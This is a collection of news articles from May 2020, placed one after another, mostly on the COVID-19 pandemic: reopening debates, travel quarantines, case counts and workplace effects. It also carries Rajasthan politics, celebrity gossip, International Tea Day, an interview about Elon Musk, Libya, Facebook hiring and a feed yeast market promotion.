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Jaipur, May 22 : Congress factionalism stands out in the open yet again in Rajasthan amid the COVID-19 crisis as Chief Minister Ashok Gehlot's camp seems to be maintaining a 'healthy social distancing' with the rival camp led by Deputy Chief Minister Sachin Pilot.

Even the Congress office-bearers have started questioning why their organisation is not standing as one entity but is emerging as a two-faced body amid these testing times.

The respective camps of Gehlot and Pilot are seen going parallel and have never been seen together since last many days. While Gehlot and state health minister Raghu Sharma are seen together in most of the press meets called during COVID-19 times, Pilot and other ministers from his camp are nowhere seen around on any of these occasions. "This distance definitely needs to be sorted out," a Congress worker told IANS quoting the recent Madhya Pradesh example where the BJP formed its government cashing in on Congress factionalism.

In fact, the difference between two camps came out open recently when Gehlot camp stood active on Bharatpur border where buses were parked to take migrants from Rajasthan to UP, however, the Pilot camp later called a press conference on Friday to address the issue.

State minister Subhash Garg, who is Bharatpur MLA, and is known to be from Gehlot camp, actively stood along the UP borders for two days on Wednesday and Thursday, to manage the crises when the UP government refused to permit buses to enter into its state. Surprisingly, the other state minister from Bharatpur, Vishvendra Singh, known to be from Pilot's camp, did not appear anywhere in the picture through this episode.

Similarly, during the presser called on Friday, Pilot led from the front with state transport minister Pratap Kachriyawas, while Gehlot and his ministers kept a healthy distance from this affair.

The other instance showed party factions when Vishvendra Singh stirred up a hornet's nest by coming openly supporting Prime Minister Narendra Modi's Atmanirbhar Bharat campaign.

In his tweet, Singh said, "Fail to fathom the protest against Atmanirbhar Bharat. Countries around the world have made themselves self sufficient. Why shouldn't India do the same? I for one wholeheartedly support this initiative by PM@narendramodi. Time to think beyond pettypolitics." All eyes remained on this Twitter conversation as state BJP president Satish Poonia welcomed his statement and retweeted this tweet. In his reply, he said, "Vishvendra ji surely if all people representatives like you stand united in support of the spirit of nation first, then @narendramodi ji's AtmaNirbhar Bharat Abhiyan will soon attain success and India will lead the world by becoming world guru again." However, all other Congress workers remained silent on Singh's tweet. In fact, this state minister continued endorsing PM's campaign on his twitter page.

In his recent tweet, he questioned, "An #iPhone is designed in USA and assembled in China ... why can't it be assembled and perhaps even designed in #India?" He also used Atmanirbhar Bharat as a hashtag in his tweet.

Further, Vishvendra Singh's picture with Pilot has been kept as his pinned tweet which shows the two ministers' strong bonding.

Meanwhile, with two camps seen clearly working individually in state, there are silent whispers if MP politics is being repeated in Rajasthan? "No, it's just not possible, as Rajasthan government is quite stable and there is no such clue coming in," said Pradesh Congress Committee Vice President Archana Sharma.

BJP state president Satish Poonia, when asked about his reaction on present situation in the state said, "No politics during COVID-19 times."
Sofia Richie was glimpsed hobnobbing with a female pal in Malibu this Thursday.

The 21-year-old daughter of Lionel Richie could be spotted showing off her knockout legs in a pair of bike shorts.

Sweeping her hair back into a ponytail, the half-sister of Nicole Richie added some dazzle to her look with hoops and bracelets.

Stepping out: Sofia Richie was glimpsed hobnobbing with a female pal in Malibu this Thursday

Her latest outing comes amid a storm of rumors that she is taking a break from her romance with her 36-year-old boyfriend Scott Disick.

Scott entered a posh rehab in the Rocky Mountains late last month but then exited the facility after less than a week.

DailyMail.com exclusively revealed that he checked into the All Points North Lodge in Edwards, Colorado on April 28.

He reportedly entered the treatment center after he struggled with family life during lockdown and is still having a hard time coping with the loss of both his parents.

Stylish: Sweeping her hair back into a ponytail, the half-sister of Nicole Richie added some dazzle to her look with hoops and bracelets

Scott's mother Bonnie died at the age of 63 in October 2013, and three months later he also lost his father Jeffrey.

In the wake of his rehab exit early this month an Us Weekly source said: 'Scott and Sofia are on a break until Scott straightens himself out more.'

The insider claimed: 'Scott is in an OK place right now and is trying to get better and focus on work, but he has to prove himself.'

Meanwhile an E! News source asserted: 'She has been giving Scott space to figure out his next steps, but has consistently been supporting him.'

Throwback: Her latest outing comes amid a storm of rumors that she is taking a break from her 36-year-old boyfriend Scott Disick; they are pictured on Valentine's Day 2019

This insider said: 'Their relationship has been 3 years of ups and downs, but she isn't leaving him to the dust. She's very loyal to Scott.'

The source claimed: 'He hasn't wanted to leave the house since his rehab exit, so Sofia will go and hang with friends by herself to get away and let Scott have space.'

An Us Weekly insider asserted that Scott is 'looking for new facilities but he will probably wait a bit for COVID concerns to die down.'

Scott and Kourtney, who finally ended their on-off relationship in 2015, share Mason, 10, Penelope, seven, and Reign, five.
WASHINGTON (AP)  As President Donald Trump pushes to reopen the country despite warnings from doctors about the consequences of moving too quickly during the coronavirus crisis, he has been lashing out at scientists whose conclusions he doesnt like.

Twice this week, Trump has not only dismissed the findings of studies but suggested  without evidence  that their authors were motivated by politics and out to undermine his efforts to roll back coronavirus restrictions.

Meanwhile, Chinas No. 2 leader on Friday promised higher spending to revive its pandemic-stricken economy and curb surging job losses but avoided launching a massive stimulus on the scale of the United States or Japan.

Premier Li Keqiang told lawmakers Beijing would set no economic growth target, usually a closely watched feature of government plans, in order to focus on fighting the outbreak. The virus battle has not yet come to an end, Li warned.

Live coronavirus tracker

Coronavirus news in the U.S.

Trump wears mask with presidential seal during part of Ford plant tour (NBC News)

Several GOP senators press for more stimulus payments during coronavirus crisis (Fox News)

Trump says he wont close the country if second wave of coronavirus hits (CNBC)

The pandemic could cause long-term damage to how we get our food (CNN)

Mortgage rates fall to near-historic low on concerns about coronavirus pandemic (MarketWatch)

Facebook employees will be able to work from home permanently (CBS News)

Road trips wont be the same this summer. Heres what you should plan for (USA Today)

Coronavirus news across the globe

Delegates applaud as Chinese President Xi Jinping arrives for the opening session of China's National People's Congress (NPC) at the Great Hall of the People in Beijing, Friday, May 22, 2020. (AP Photo/Ng Han Guan, Pool)AP

South Koreas Foreign Minister Kang Kyung-wha: Were not going back to life pre-COVID (ABC News)

French brothers strike gold during lockdown (BBC)

U.S. sends ventilators to Russia (NPR)

UK retail sales suffered record-breaking fall in April (Yahoo)

Bolsonaro pushes to reopen Brazil amid worsening outbreak (Vox)

Latest local coronavirus news

Read complete prior coronavirus coverage.
Minister for Health Simon Harris said the forms were necessary (Photocall Ireland/PA)

Passengers arriving in Ireland from next week will be legally required to complete a locator form, the Minister for Health has said.

Simon Harris said the forms will come into effect from Thursday May 28 and will remain in place until June 18 when they will be reviewed.

Passengers arriving in Ireland from overseas are being asked to self-isolate for 14 days.

Cabinet signed off on the plans on Friday afternoon.

Every measure we take is aimed at stopping the spread of Covid-19 and protecting people from this virus. Simon Harris

Mr Harris said: These are extraordinary measures but they are necessary in a time of a public health crisis.

We continue to advise everyone against non-essential travel. However, if a person does arrive into Ireland, they will be legally obliged to fill out this form, regardless of their nationality.

The form will be used to facilitate a system of follow up checks to make sure people who travel to the country are staying where they said that they would.

The form will also ensure more accurate and quicker contact tracing, should we have a confirmed case on a flight or ferry coming into Ireland.

Every measure we take is aimed at stopping the spread of Covid-19 and protecting people from this virus. This is no different.

People who breach the new offences will be fined 2,500 euro or face a prison sentence of up to six months.

These include passengers who fail to complete the form, provide false or misleading information, fail to provide further information when requested, or fail to update residence or contact details if they change within 14 days of arrival into the State.

Passengers transiting to another jurisdiction, certified international transport workers, air and maritime pilot/masters and crew, will not have to complete the form.

Individuals from Northern Ireland will have to fill out a portion of the form.

On Friday, chief medical officer Dr Tony Holohan said 11 new deaths had been reported, bringing the toll to 1,592.

Another 115 new cases were confirmed, bringing the total to 24,506.

One new admission to hospital intensive care was recorded.

Meanwhile, Education Minister Joe McHugh has said reopening schools in September will be complicated due to the current health guidelines.

Schools have been closed since March and are not due to reopen until September.

Mr McHugh said class sizes in Ireland are higher than the European average which may make it more difficult for all pupils to return at the same time.

Speaking at Government buildings on Friday he said: We will see how many students we can get back to school in September in as safe a way as possible.

At the moment if we work under current health guidelines for returning to schools in September, it is a very restricted return, it is a very challenging return and it is a very complicated return  particularly when you have old schools and schools with narrow corridors and packed classes.

If you consider Germany and France who have been returning to school, they have a maximum of 15 children in their classrooms.

My message to parents is  we will communicate with them as early as possible about the current timeline.

Mr McHugh said he is glad members of the Association of Secondary Teachers Ireland (ASTI) will now proceed with calculated grades for their Leaving Certificate students, after the union said a row over legal protections has been resolved.

The ASTI said full indemnity has been secured for members after it had advised them not to take part until they were fully protected against any legal action arising from the marks they calculated for their students.

Also on Friday, the Central Statistics Office (CSO) published figures which show more men have been confirmed dead from Covid-19 than women (670 deaths compared to 617) even though more women were diagnosed as a confirmed case than men (13,694 women compared to 10,170 men).
May 21 this year marks the first International Tea Day, which was designated by the UN on Nov 27, 2019.

As a large producer of tea in the world, China began tea consuming about 5,000 years ago and is a home to a variety of teas.

To celebrate the festival, a series of events took place at the Chinese Businessman Museum in Beijing on Thursday.

The China Culture Promotion Society, the Tea Road (China) Cooperative (TRC) and the China Chamber of Commerce of I/E of Foodstuffs, Native Produce and Animal By-products (CFNA) jointly launch a series of event to celebrate the first International Tea Day at the Chinese Businessman Museum, Beijing, May 21, 2020. [Photo provided to chinadaily.com.cn]

Guided by the China NGO Network for International Exchange, the event was jointly launched by the China Culture Promotion Society, the Tea Road (China) Cooperative (TRC) and the China Chamber of Commerce of I/E of Foodstuffs, Native Produce and Animal By-products (CFNA). It also received support from about 50 embassies and tea-related organizations, including the Mongolian Embassy in China, China Tea Science Society, European Tea Association and 30 cities at home and abroad, such as Moscow and Melbourne.

The FAO Intergovernmental Group on Tea delivered congratulations to the event and praised the organizers' efforts to promote the tea industry development between countries and regions.

Wang Shi, chairman of the China Culture Promotion Society, addressed the opening ceremony.

"As a main promoter of the International Tea Day, the birthplace of tea and the largest tea-producing country, China has a responsibility to work with peers in the world to promote the healthy and sustainable development of the tea industry and exchange of tea culture. It can help to build a community of shared future for mankind," Wang said.

At the ceremony, TRC's executive chairman Guo Jie issued the "First International Tea Day Tea Road Cooperative (Beijing) Initiative" on behalf of the organizer at the ceremony. The initiative calls for people working in the tea industry to come together to uphold the purpose of International Tea Day, and promote international cooperation and cultural exchanges for a better life in the future.

Cao Derong, president of CFNA, responded positively to the initiative and said the process of integrating Chinese tea with the international market will be accelerated, with more help provided to the tea industry in developing countries.

A four-year tea promotion -- International Tea Day Tea Road Cooperative Plan -- was also launched at the ceremony in response to the initiative. The plan includes the Tea Road Cooperative's Tea Farmer Support Program, and China-Mongolia-Russia Tea Road Cooperative City Cooperation Conference. The plan aims to promote China's tea industry's new development and international cooperation. Many cities in China, Russia and Australia have joined the plan.

To strengthen the connection with the youngsters and promote tea among young people, the event included a series of public promotional activities on social media, such as Weibo and TikTok, inviting 29 tea professionals from around the world to have 36 hours of uninterrupted live broadcasts, launching interactive topics such as "International Tea Day, Please Drink This Cup of Tea".

The Chinese Ancient Tea Museum, located on the banks of the Tonghui River in Beijing, was officially unveiled at the ceremony, opening its first exhibition: The Avenue of Truth: A Special Exhibition of Pu'er Tea in the Collection.

The launch ceremony of the event was also set up on the same day in Yichang in Hubei province, Pu'er in Yunnan province, Inner Mongolia, Melbourne and several other places.
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Linkedin Susan Stumme (Agence France-Presse) Washington, United States  Fri, May 22, 2020 13:15 608 fc6853813033f564188675f8bd99beeb 2 World Donald-Trump,coronavirus,US-Health,COVID-19,SARS-CoV-2,pandemic,virus-corona,novel-coronavirus,reopening Free

President Donald Trump on Thursday pressed for a broader reopening of the United States as coronavirus-related job losses mounted, while parts of Europe embraced post-lockdown life.

With summer approaching on both sides of the Atlantic, more stores opened their doors and beaches welcomed tourists, despite the global number of virus cases passing five million.

The crisis of course is far from over -- Russia and Latin America emerged as the next hotspots, even as Europe and the United States headed into the next phase, like Asia before them.

But Trump, with an eye on his re-election prospects in November, made it clear he hoped more state governors would move toward a loosening of anti-virus restrictions.

"We did the right thing but we now want to get going... you'll break the country if you don't," he told African-American leaders in Michigan, a key election battleground state.

The Republican incumbent specifically talked about reopening places of worship -- something he had initially hoped would be done by Easter Sunday -- as important to the nation's healing.

"People want to be in their churches," Trump said. "They're so important in terms of the psyche of our country."

Trump has adopted the theme of "Transitioning Back to Greatness" as states reopen at different speeds.

While daily death tolls are no longer on a steady incline, the losses are still mounting, with the total count in the US surpassing 94,000.

Trump ordered that flags at federal buildings be flown at half-staff for three days for the victims.

Another 2.43 million Americans were put out of work last week, the Labor Department said, bringing the total to 38.6 million since lockdowns were put in place, though the pace of job losses has slowed.

Return to normal

On the eve of Memorial Day weekend -- the unofficial start to the American summer -- beaches are slowly welcoming sun worshippers.

"We were just tired of waiting to get a normal life again, to get our freedom back. So we rented this big house by the beach," said Anne Miller, an Ohio resident visiting South Carolina.

The same was true in Europe, where Cyprus bounded into its second stage of opening up, lifting curfews and allowing outdoor restaurants, barber shops and beaches to open.

But the Mediterranean island's airports and hotels remain closed.

"I want my work back and my life back," said Sakis Siakopoulos, a restaurant owner in the capital Nicosia.

In Denmark, the exit from lockdown also picked up pace as museums and zoos began reopening Thursday and health officials said the spread of the virus was slowing.

France, one of the countries hit hardest by the outbreak, saw its daily death toll dip to 83 -- cause for optimism.

A closely watched survey by IHS Markit indicated that the eurozone economy has now "likely bottomed out" as a result of the lockdowns, sparking hope that a recovery is to follow.

'It doesn't stop'

The news was not positive everywhere.

The number of known cases of COVID-19 has doubled in just one month, according to AFP data collected from official sources, with the death toll nearing 330,000 worldwide.

While many European countries have significantly curbed the contagion, Latin America is becoming a new hotspot with cases on the rise.

Brazil -- now home to the third-highest number of cases in the world after the US and Russia -- has now recorded more than 20,000 deaths, and hit a new record 24-hour toll of 1,188.

Gravediggers at the region's biggest cemetery, located outside Sao Paulo, are scrambling to keep up.

"We've been working 12-hour days, burying them one after the other. It doesn't stop," said one worker at Vila Formosa, wearing a white protective suit, mask and face shield.

Peru, Mexico and Chile have also seen steady increases in infections.

"It's like a horror film," Miguel Armas, a nurse at the Hipolito Unanue hospital in the Peruvian capital, told AFP.

War of words

Trump has kept up a steady drumbeat of criticism against China, where the outbreak erupted last year, blaming its "incompetence" for the extent of the global crisis.

The government of Chinese leader Xi Jinping rejects that criticism, and insists it has been forthright with the world about the origins and unfolding of the crisis.

"It is neither responsible nor moral to cover up one's own problems by blaming others," said the spokesman for China's legislature, Zhang Yesui.

China has made "major strategic achievements" in its response to the coronavirus outbreak, Premier Li Keqiang said as he addressed his nation on Friday about the virus, the economy and other hot-button topics at the start of a new legislative session.

Virus cases in the Asian giant are now down to a trickle, and Beijing insists its efforts to curb the spread of the virus have been a success, but questions remain about whether it underreported the number of people affected by the contagion.

Second surge

Governments around the world are testing ways to live with the dangers despite fears of a second wave of infections.

Already a common sight in Spain, masks were officially made mandatory Thursday for anyone over the age of six in public places where social distancing is not possible.

"The more tools we use, the better," said Miguel Domingo, a 49-year-old architect taking his two dogs for a walk in Madrid, which is emerging from one of the toughest lockdowns.

But the director of the European Center for Disease Prevention and Control, Andrea Ammon, warned it was not a question of if there will be a second wave but "when and how big."

"I don't want to draw a doomsday picture but I think we have to be realistic," she told Britain's Guardian newspaper.
Maybe its because of quarantine, but Ive spent way too much time lately on Twitter. Which, in my world, means its been hard to ignore Elon Musk. In between tweets about his companies Tesla and SpaceX, you get tweets like Take the red pill, Minecraft has amazing legs, and Cancel Cancel Culture! More significantly, on May 11, he tweeted that he would defy the public health order that had closed his Tesla factory in Fremont, California.

As the battle between Musk and health officials has played out in public, its been predictably politicized. President Donald Trump tweeted his support for reopening the Fremont plant. On a phone call with investors, Musk called shelter-in-place orders fascist, which won him support from people who oppose the lockdowns.

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On Fridays episode of What Next: TBD, I spoke with Kara Swisherthe founder of Recode, the co-host of the podcast Pivot, and basically the dean of technology journalismabout what makes Musk so willing to play chicken with public health authorities in the middle of a pandemic, and what that says about the tech industrys unchecked power. This conversation has been edited and condensed for clarity.

Lizzie OLeary: Whats going on in Elon Musks brain?

Kara Swisher: There are many Elons. There is the entrepreneur and the risk taker and the creator of things. Tesla, no matter what you feel about Elon Musk, that car is amazing. Hes moved the stasis of the car industry into electric vehicles all on his own, and they have followed him. Then theres Elon the bad boy, which he likes to play to with his sort of loud dating, his loud tweeting, and everything else. And thats part and parcel to his real focus, which is hes almost religious about wanting to get these cars and saving the planet from climate change.

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He really believes that?

That sounds grandiose, but he really does believe that were in an existential crisis around climate change. Its one of the reasons for his interest in Mars. There are lots of levels of depth to this guy. And at the same time, there are lots of levels of superficiality thats almost, like, indulgent and juvenile.

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Tesla has this factory in Fremont, California. Its Alameda County, which issued a shelter-in-place order in March. How would you describe Musks attitude toward all of that?

Well, look, this is hurting his business, right? When they initially put those in place, he was defying the orders, if you remember.

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After keeping the Fremont plant open for a few more days, Musk eventually announced plans to suspend production, and he seemed to shift his focus to helping with the virus response. On May 8, California Gov. Gavin Newsom said, all right, fine, some factories can reopen. But the Alameda County officials said, Tesla, we want you to wait. Musk tweeted about it, and Tesla filed a lawsuit against the county. Why go to that point?

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They were in his way. And nobody gets in his way. I think Jeff Bezos does it in a different way. He doesnt say it out loud, but hes pulling the strings behind the scenes. Elon in some ways is being very transparent about his use of forcein this case, his Twitter force.

Youve interviewed him before. Youve covered him for a long time. Whats he thinking when he does that?

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Hes a very passionate person. And so he gets easily tweaked. He gets easily irritated. Hes religious about what hes doing, whether its space or whether its cars or climate change or whatever. He reminds me a lotand I dont mean this as an insult, but as a complimentof Howard Hughes. Even though Hughes ended up in the hotel room by himself with the long nails, which was tragic, he was an amazing entrepreneur and visionary thinker. He changed the aviation industry. We forget that a lot of entrepreneurs have a religious element to their personality. They have to do it. They have to push.

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Over the last few yearsIm looking at a list that you wroteMusk has made bankruptcy jokes about the health of U.S. companies. Hes attacked journalists. He baited short-sellers, called a diver in the Thai cave crisis a pedo. Is there a method to all this? Does he get something from this, or is he unable to stop himself?

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I think he cant stop himself. Hes talked about it in interviews. He thinks Twitter is a bit of an addiction. Hes emotional and he lets you see it. And I think youre not used to that.

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The fight over reopening the Tesla plant has obviously become a political issue. You have Trump tweeting about it. You have watched them both very carefully. Is Musk courting the president and his supporters, or is he just being kind of trolly?

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No, I just think hes being Elon. I dont think hes courting Trump. I think hes expressed disdain. Hes expressed some support. I think its complex for him. But this countrys in such a heightened, emotional partisan situation. Leaders should be very careful about what dog whistles theyre blowing.

Is there a business risk to all of this? If you look at Tesla customers, they have been left-leaning, environmentally conscious, wealthy people. Are they going to be put off by all of this?

Well, hes done this before, right? It just hasnt been during a pandemic.

I think a lot of people arent going to like it. My brother is a good example. Id say hes sort of center-left-leaning in the San Francisco Bay Area. Hes a doctor. Hes been in the middle of this pandemic. He loves his Tesla. And I think hes able to separate it from Elon. I think he thinks Elon is kind of a jerk. But, you know, some of the products you buy today are made by truly awful people. And you dont think about it, right? Its just that the product is so affiliated with him.

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When all of this was coming to a head in early May, Elon threatened to take the factory to Nevada or Texas, and California seemed to move pretty quickly to give him what he wanted. Why?

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I mean, they dont want him to leave. Its easy for us to say, if someone is threatening you to take away 10,000 jobs, you should just tell him to go. But I dont think thats really what a public official can do from a tax base point of view.

Do we know what the people who work in this Fremont factory think about all of this?

Well, I think like any workplace, there are varying opinions. Some people feel what theyre making is really important for the planet. Other people are like, What the heck? Hes putting me in harms way. There are no good answers in this crisis.

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Right now, this all seems to be sort of breaking Elon Musks way. Alameda County approved Teslas safety plan for reopening. Tesla dropped the suit. Now, the Fremont plant is fully open for production again. I wonder if you think there are consequences when, as these things play out publicly, tech companies tend to triumph over government.

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At the beginning of this pandemic, I said one of things thats going to happen is these tech companies are going to be even more powerful. Theres going to be a reluctance to antagonize them because theyve been so helpful during the pandemic. But in general, Silicon Valley has been an industry without consequence. Wall Street was slapped back during a lot of these financial crises, although theyre as powerful as ever. Chemical companies, cigarette companies, all the powerful companies of this country have eventually, once theyve sort of abused their position, been slapped back. Tech has yet to be regulated in any significant way. In other parts of the world, more so. Here, not at all. If you live a life of extreme wealthno ones been this rich on the planetthere are no consequences. Why would you change your behavior until youre made to, and then, who is going to make you?

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Were seeing Elon do his own thing. Are Jeff Bezos, Mark Zuckerberg, and others going to sort of feint that theyre listening to the government in this moment?

Elon doesnt pretend. The others are much more deft at using lobbying and Oh, were so sorry, were here to help, especially Facebook, which is using this moment for redemption. These are governing bodies that are doing things that affect humanity without any accountability.

I tend to think Elon Musk is the least of our problems among tech companies. He wants to open his factory, builds cars, and is like, Im going to yell until I get to do it, OK?

Listen to the full episode using the player below, or subscribe to What Next on Apple Podcasts, Overcast, Spotify, Stitcher, or wherever you get your podcasts.

Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society.
The total number of coronavirus COVID-19 cases across 188 nations reached 5,168,433 and the death toll stood at 335,936 at 11.45 pm (IST) on Friday (May 22).

With the highest numbers both in positive cases and death toll, the US continues to remain the worst-hit with a total of 1,588,322 cases. It is followed by Russia with 326,448 cases, Brazil with 310,087 cases, the UK with 255,533 cases, and Spain with 234,824 cases.

With a massive jump, the US has witnessed the highest death toll across all the nations at 95,490, followed by the UK at 36,475, Italy at 32,616, Spain at 28,628 and France at 28,218.

The United States says it wants the World Health Organization to start work now on a planned independent review of its coordinated international response to the COVID-19 outbreak, at a time the Trump administration has repeatedly criticized the agency and is threatening to cut off US funding for it. Adm Brett Giroir, an assistant secretary in the US Department of Health and Human Services, sent a letter to the UN health agency's executive board meeting on Friday saying the United States believes the WHO can "immediately initiate" preparations such as bringing together independent health experts and setting up guidelines for the review.

Britain will introduce a COVID-19 quarantine for travellers arriving from abroad from June 8, interior minister Priti Patel said on Friday, a measure that airlines have warned will devastate their industry. All international arrivals, including returning Britons, will have to self-isolate for 14 days and provide details of where they will be staying under the plans, which were criticised by airlines, business groups and politicians alike.

"Now we are past the peak of this virus, we must take steps to guard against imported cases triggering a resurgence of this deadly disease," Patel said at a news conference. Those who breached the quarantine in England could be fined 1,000 pounds ($1,218), and spot checks would be carried out by health and border officials.

The quarantine will not apply to those arriving from the Irish Republic, nor to freight drivers, medical professionals and seasonal agricultural workers. The measures will be reviewed every 3 weeks. Transport minister Grant Shapps has also suggested the government would seek to negotiate "air bridges" for travellers coming from countries with low virus infection rates.

Unlike many other countries, Britain has carried out few tests and checks on visitors, with quarantine limited only to arrivals from China at the start of the outbreak. Spain and Italy have introduced rules that mean international arrivals must self-isolate for two weeks, while on Friday Ireland gave further details for its own quarantine proposals.

Russia has reported the highest daily spike in coronavirus deaths on Friday, as health officials registered 150 deaths in the last 24 hours, bringing the country's toll to 3,249. Russia's comparatively low mortality rate has raised eyebrows in the West, with some suggesting that the country's government may be underreporting virus-related deaths and manipulating the statistics.

Russian officials vehemently deny the allegations and attribute the low numbers to the effectiveness of the measures taken to curb the spread of the outbreak. Russia's coronavirus caseload has exceeded 326,000 on Friday, with health officials reporting almost 9,000 new infections.

Earlier in May, President Vladimir Putin announced gradually lifting lockdown restrictions, saying that Russia was able to slow down the epidemic and it was time for gradual reopening. The vast majority of the country's regions have been on lockdown since March 30.
US Secretary of State Mike Pompeo on Friday pressed Libya's Turkish-backed government for a ceasefire and criticized the flow of weapons as Tripoli pushes back against a year-old rebel offensive. Pompeo placed a phone call to Prime Minister Fayez al-Sarraj to "reiterate US opposition to the continued level of weapons and munitions being brought into the country," the State Department said. Pompeo and Sarraj "emphasized the importance of an immediate halt to the fighting and return to political dialogue," a statement said. Sarraj's UN-recognized Government of National Accord has scored a series of successes in recent weeks in pushing back against warlord Khalifa Haftar, including seizing a strategic airfield near Tripoli on Monday. Haftar -- who is backed by US allies Egypt, the United Arab Emirates and Saudi Arabia -- launched an offensive in April 2019 to seize Tripoli that has killed hundreds. A recent UN report on Libya's widely violated arms embargo also showed support for Haftar by mercenaries from a Russian security group seen as close to President Vladimir Putin. Pompeo's statement did not name any country for sending in weapons, but the Government of National Accord's key military supplier is Turkey, which signed a pact with Tripoli in November. A report last month by the International Crisis Group said that Turkey has sent into Libya at least 100 military officers, shiploads of weapons and aerial defenses as well as at least 2,000 pro-Turkish fighters from Syria. The United States officially backs the UN-recognized government and opposes Haftar's offensive. But its position has caused confusion as President Donald Trump, who has close ties with Haftar's Arab allies, in April 2019 spoke with the strongman by telephone and praised him.
Facebook boss Mark Zuckerberg said Thursday that the social media giant will immediately step up hiring in Philadelphia and three other cities to tap new engineering and operating staff away from its crowded Menlo Park headquarters in northern California.

The first hires will be for experienced engineers by July 1, Lori Matloff Goler, Facebooks staff acquisition chief, added in a Facebook post.

The company plans to immediately tap into talent pools in places like Portland, San Diego, Philadelphia, and Pittsburgh, and later in Atlanta, Dallas, and Denver, Zuckerberg said in a video message to employees that was livestreamed on his personal page.

Many more of Facebook 45,000 employees  perhaps half  will also be allowed to work remotely on a permanent basis, he told the workers. Earlier this year, the company told staff and contractors they can work from home until the end of this year, part of the companys compliance with anti-coronavirus shutdown orders in California and other states.

In the video, Zuckerberg said the move to step up at-home labor was intended to slow the rate at which Facebook employees have been quitting.

Many in the San Francisco-San Jose area, including Menlo Park, have complained that the rapid growth of Facebook and high salaries paid by it and other software giants, combined with local government policies that slow new development, have driven housing and other costs to unaffordable highs in the region.

Similarly, some officials in Philadelphia and other cities warned, when Amazon was considering whether to locate a second headquarters, that its rapid hiring could inflate housing costs. Such hiring, analysts said, might also drive up pay for engineers at Comcast, administrators at the University of Pennsylvania, and selected employees at other large employers.

In his remarks, Zuckerberg said a move away from tech hubs would help Facebook to diversify its workforce.

But Facebook plans to spread the impact over a large area. The company will focus on hiring people within a four-hour radius of Philadelphia and the other selected cities, Zuckerberg said.

A four-hour radius of Philly, of course, would include most of the New York and Washington metro areas.

The companys website currently makes no mention of any job openings in Philadelphia. By contrast, Facebook lists 214 job openings at its offices in New York, 79 in Washington, and 23 in Pittsburgh.
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The feed yeast market is estimated to account for USD 1.7 billion in 2018 and is projected to reach USD 2.1 billion by 2023, at a CAGR of 5.27% during the forecast period. The market is primarily driven by the increasing awareness on health concerns related to the use of antibiotics in feed and preference for yeast-based feed products due to its high nutritional value. In addition, with the ban on the use of antibiotics in feed in most of the regions has led to high demand for feed yeast products.





On the basis of genus, the Saccharomyces Spp. segment is projected to be the fastest-growing segment during the forecast period.

Saccharomyces cerevisiae has been the most widely adopted yeast for various applications, including feed. Majority of the key players such as Associated British Foods plc. (UK), Cargill (US), and Lesaffre (France) have been providing feed yeast with Saccharomyces formulation. According to the FAO, besides Saccharomyces spp., Candida spp. (a part of which was formerly known as Torula) has been gaining traction as a probiotic yeast in feed application in North America. Of the various probiotic strains registered with the FAO in 2017 for animal nutrition, only Saccharomyces and Candida are approved for probiotic application in the feed industry.

Download PDF Brochure:

https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=108142106

The increasing awareness of health benefits associated with probiotic yeast has widened the scope of growth for the feed yeast market.

The use of probiotic yeast in ruminant feed resulted in improved health and higher milk production. Similarly, in pigs, yeast triggers an immune response to reduce the entry of pathogens in the body and also reduces the occurrence of post-weaning diarrhea. With the increasing use of probiotics for animal nutrition, growth promotion, and gut health development, the probiotic yeast segment is projected to record the fastest growth, on the basis of type, during the forecast period.

With the introduction of stringent regulations, Europe is estimated to dominate the feed yeast market in 2018.

The feed yeast market in Europe is driven by the introduction of stringent regulations pertaining to the use of antibiotics in feed. Increasing awareness about the benefits of feed yeast is projected to contribute to the market growth. The high demand for quality and nutrient-rich feed in the European countries has led to the high demand for feed yeast among farmers. Moreover, the European legislators are also concerned about food and animal safety and thus have implemented many safety laws for the same. With high concerns related to animal health, the EU government has put a ban on the use of antibiotic growth promoters in feed due to its negative impact on animal health as well as on the health of human consumers. For the replacement of those antibiotics.

Speak to Analyst:

https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=108142106

This report includes a study of the development strategies of leading companies. The scope of this report includes a detailed study of feed yeast manufacturers such as Associated British Foods PLC. (UK), Archer Daniels Midland Company (US), Alltech Inc. (US), Cargill (US), Lesaffre (France), Angel Yeast Co. Ltd. (China), and Lallemand Inc. (Canada).

Key questions addressed by the report:
New York City condominium worker Louis DeJesus. (Stephen Battaglio / Los Angeles Times)

For the last two months, New York City building doorman Louis DeJesus has seen the warm daily greetings he enjoyed exchanging with residents turn into muffled hellos and distant waves.

The daily check-ins on elderly residents became filled with trepidation. Packages delivered to lobbies were wiped down with disinfectant before being dropped off outside an apartment door. Elevator buttons and door handles were sanitized over and over.

It's been a major shift for many residential doormen  the job's contractual title even though it's also filled by women  in response to the state's shelter-in-place order set in March to try to contain the COVID-19 pandemic. Social distancing has disrupted the connection between DeJesus and residents at the 168-unit condominium on Manhattans Upper West Side where he has worked for 17 years.

We play with their kids, we talk about things and life, we hug each other, DeJesus said. Everybody knows me as an outgoing guy. Thats why Im good at what I do. Its kind of awkward now. Its hi and bye.

Such is the state of existence for many of the 35,000 residential building employees  which also include handymen and porters  who were deemed essential workers by the state when the shelter-in-place order was implemented. The coronavirus has added a frightening layer of risk to what are considered among the most coveted working class positions in New York City, with a median annual salary of $52,000 and a contract that provides an employer-paid healthcare plan and a pension.

As of Thursday, more than 200 residential building staff members had contracted COVID-19 and 39 of them had died, according to Local 32BJ, the branch of the Service Employees International Union that represents the workers. It's a higher death rate than the New York Police Department, which has lost 42 members to the virus out of a workforce of 55,000.

Turnover is low as most employees stay with their buildings for decades. The longevity in the jobs creates a bond with residents, who depend on the workforce to bring civility, safety and a sense of community to their lives.

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It is not by any stretch of the imagination a typical employer-employee relationship, said Howard Rothschild, president of the Realty Advisory Board on Labor Relations, which negotiates the master contract with the doormens union as well as the city's office building workers.

Building management companies and the board have tried to be mindful of the relationship workers have with their employers as they seek to adapt to the challenges brought on by the health crisis. The board adjusted the current contract, expanding the amount of paid time off for employees who are exposed to COVID-19 in the workplace, and publicly stating its intention to protect workers and preserve jobs during the economic shutdown.

Management agents and the union have moved to address the workforces biggest concern  commuting to their jobs. Many of the employees at Manhattan residences travel in from the outer boroughs of Queens, Brooklyn and the Bronx, which all have a much higher number of coronavirus cases.

There was a lot of fear over coming home and infecting their family members, said John Santos, vice president and New York Metro District residential director for Local 32BJ.

